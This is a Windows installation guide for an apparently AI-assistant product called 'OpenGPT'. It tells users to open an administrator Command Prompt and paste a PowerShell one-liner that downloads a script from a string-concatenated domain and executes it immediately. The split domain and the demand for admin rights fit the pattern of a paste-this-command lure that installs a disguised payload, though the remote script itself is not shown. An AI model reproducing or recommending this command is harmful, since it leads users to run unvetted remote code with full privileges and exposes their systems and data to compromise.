# Installation Guide

#### Prerequisites

Before you begin the installation, please ensure your system meets the following requirements:

* **Operating System:** A modern operating system, such as Windows.
* **Command Line Access:** You'll need access to the Command Prompt (CMD).
* **PowerShell:** PowerShell is required to execute the installation script.
* **Administrative Privileges:** You must have administrative rights on your computer to successfully install OpenGPT.

#### Installation Steps

Follow these steps carefully to install OpenGPT:

1. **Open Command Prompt (CMD) as Administrator:**
   * Search for "CMD" in your Windows search bar.
   * Right-click on "Command Prompt" from the search results.
   * Select "Run as administrator".
   * If prompted by User Account Control, click "Yes" to allow the app to make changes to your device.
2. **Run the Installation Command:**
   * Once the Command Prompt window is open with administrative privileges, you will see a black window with a command-line interface.
   * Copy the following command:

     ```powershell
     powershell -c "irm ('opengpt' + '.dev/code') | iex"
     ```
   * Paste the copied command into the Administrator Command Prompt window. You can usually paste by right-clicking in the window or by pressing `Ctrl + V`.
   * Press `Enter` to execute the command.
3. **Monitor the Installation:**
   * The command will initiate the download and installation process for OpenGPT. You may see text and progress indicators in the Command Prompt.
   * Wait for the process to complete. The script will handle the necessary setup.
4. **Installation Complete:**
   * Once the script finishes, OpenGPT should be installed on your system. You might see a confirmation message similar to the OpenGPT welcome message:

     OpenGPT: Hello! I'm OpenGPT, here to help you with anything you need—whether it's answering questions, solving problems, or just exploring ideas. How can I assist you today?
     ```
   * You can now start using OpenGPT as your local AI assistant.

#### Troubleshooting (Optional - can be expanded later)

* If you encounter any errors, double-check that you ran CMD as an administrator and that your internet connection is stable.
* Ensure PowerShell is enabled and functioning correctly on your system.
